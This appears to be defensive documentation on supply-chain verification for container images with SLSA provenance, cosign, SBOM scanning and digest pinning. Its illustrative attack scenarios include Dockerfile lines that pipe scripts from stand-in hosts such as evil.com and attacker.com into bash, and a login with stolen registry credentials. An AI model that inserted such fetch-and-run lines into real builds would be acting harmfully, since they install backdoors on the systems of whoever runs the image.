| What You're Protecting Against | How SLSA L3 Protects You | Command to Verify |
|---|---|---|
| Registry compromise (attacker pushes malicious image) | Cosign signature proves builder identity | cosign verify <image> |
| Code injection (malicious code added before build) | SLSA provenance records exact commit SHA | Compare commit in provenance vs git tag |
| Tag overwrite (legitimate tag pointed to malicious image) | Digest + provenance shows mismatch | Pull by digest, verify commit |
| Supply chain attack (compromised dependencies) | SBOM lists all packages for scanning | cosign verify-attestation --type spdx |
A: Digests only prove the image hasn't changed after it was built. They don't prove:
- Who built it (could be an attacker)
- What source code was used (could have injected code)
- When it was built
- What dependencies were included
Example:
# Attacker builds malicious image
docker build -t myorg/myapp:v1.0.0 .
# Image has digest: sha256:abc123...
# You pull by digest
docker pull myorg/myapp@sha256:abc123
# ❌ Digest is correct, but image is malicious!
# Digest only proves "this is the exact image", not "this is a safe image"A: Signatures prove who built the image, but not what was built.
Example:
# Attacker injects malicious code into your repo
echo "RUN curl http://evil.com/backdoor | bash" >> Dockerfile
# Your CI/CD builds and signs it (legitimately)
# Signature is valid ✅
# But the image contains malicious code!
# You need to verify the COMMIT to detect thisA: Compare the commit SHA in the SLSA provenance with your git tag:
# 1. Get commit from image provenance
ACTUAL_COMMIT=$(cosign verify-attestation \
--type slsaprovenance \
--certificate-identity-regexp='https://github.com/fystack/slsa-workflows/.github/workflows/docker-build-slsa.yml@.*' \
--certificate-oidc-issuer='https://token.actions.githubusercontent.com' \
myorg/myapp:v1.0.0 2>/dev/null \
| jq -r '.payload | @base64d | fromjson | .predicate.materials[0].digest.sha1')
# 2. Get expected commit
EXPECTED_COMMIT=$(git rev-parse v1.0.0)
# 3. Compare
if [ "$ACTUAL_COMMIT" != "$EXPECTED_COMMIT" ]; then
echo "❌ Code injection detected!"
echo "Image was built from: $ACTUAL_COMMIT"
echo "Expected commit: $EXPECTED_COMMIT"
exit 1
fiA: No! The SLSA provenance is generated in an isolated, non-privileged job by the official SLSA generator. Key protections:
- Isolated execution: Provenance job runs separately from build
- No write access: Generator cannot modify build artifacts
- Signed by GitHub OIDC: Uses GitHub's identity, not user credentials
- Recorded in Rekor: Public transparency log prevents tampering
- Non-forgeable: Cannot be created without GitHub Actions OIDC token
A: This is detected by verification:
# Original build:
Tag: v1.0.0 → sha256:good123 (signed, commit: abc123)
# Attacker overwrites tag:
Tag: v1.0.0 → sha256:bad456 (not signed OR wrong commit)
# Verification detects:
cosign verify v1.0.0
# ❌ No signature found (if not signed)
# OR commit mismatch (if signed but wrong source)Best practice: Always pull by digest in production:
# deployment.yaml
image: myorg/myapp@sha256:good123 # Not myorg/myapp:v1.0.0Attacker's goal: Add backdoor to your image
Attack:
# Attacker modifies Dockerfile
RUN echo "Testing digest change" # Looks innocent
RUN date > /tmp/digest_test_hook
# Actually downloading malware
RUN curl -s http://attacker.com/payload | bashDetection:
# Attacker commits this → commit SHA changes
git commit -m "test" # Commit: bad4c0de
# CI/CD builds → SLSA provenance records: bad4c0de
# You verify:
ACTUAL=$(extract from provenance) # = bad4c0de
EXPECTED=$(git rev-parse v1.0.0) # = 5b80ec87
# ❌ Mismatch detected! Attack stopped!Attacker's goal: Push malicious image to your Docker Hub
Attack:
# Attacker steals your Docker Hub credentials
docker login -u youruser -p stolen_password
# Pushes malicious image
docker push youruser/yourapp:v1.0.0Detection:
# Image exists, but no signature
cosign verify youruser/yourapp:v1.0.0
# ❌ FAIL: No valid signature
# Attack detected! Image wasn't built by CI/CDAttacker's goal: Compromise a dependency your app uses
Attack:
# Attacker publishes malicious npm package
npm publish [email protected]
# Your app depends on it (directly or transitively)
npm install # Installs evil-packageDetection:
# Extract SBOM from image
cosign verify-attestation --type spdx yourapp:v1.0.0 \
| jq '.payload | @base64d | fromjson | .predicate.packages[]'
# Scan for known vulnerabilities
grype sbom:sbom.json
# ❌ WARNING: [email protected] contains known CVEBefore deploying an image to production:
-
Verify signature - Proves trusted builder
cosign verify --certificate-identity-regexp='...' <image>
-
Verify commit - Detects code injection
# Extract commit from provenance # Compare with git rev-parse <tag>
-
Scan SBOM - Detects malicious dependencies
cosign verify-attestation --type spdx <image> | grype
-
Pull by digest - Prevents tag tampering
docker pull <image>@sha256:...
-
Check Rekor - Verify public audit trail
rekor-cli search --artifact <image>
| Protection | What It Does | What It Doesn't Do |
|---|---|---|
| Digest | Proves image content hasn't changed | Doesn't prove who built it or from what source |
| Signature | Proves trusted CI/CD built it | Doesn't prove what source code was used |
| Commit Verification | Proves exact source code | Doesn't prevent malicious dependencies |
| SBOM | Lists all dependencies | Doesn't detect new zero-days |
You need all layers for complete protection!
# Install cosign
brew install cosign # macOS
# or: go install github.com/sigstore/cosign/v2/cmd/cosign@latest
# Install jq (for JSON parsing)
brew install jq # macOS
# Install slsa-verifier (optional)
brew install slsa-verifier # macOS
# Install grype (for SBOM scanning)
brew tap anchore/grype && brew install grype # macOS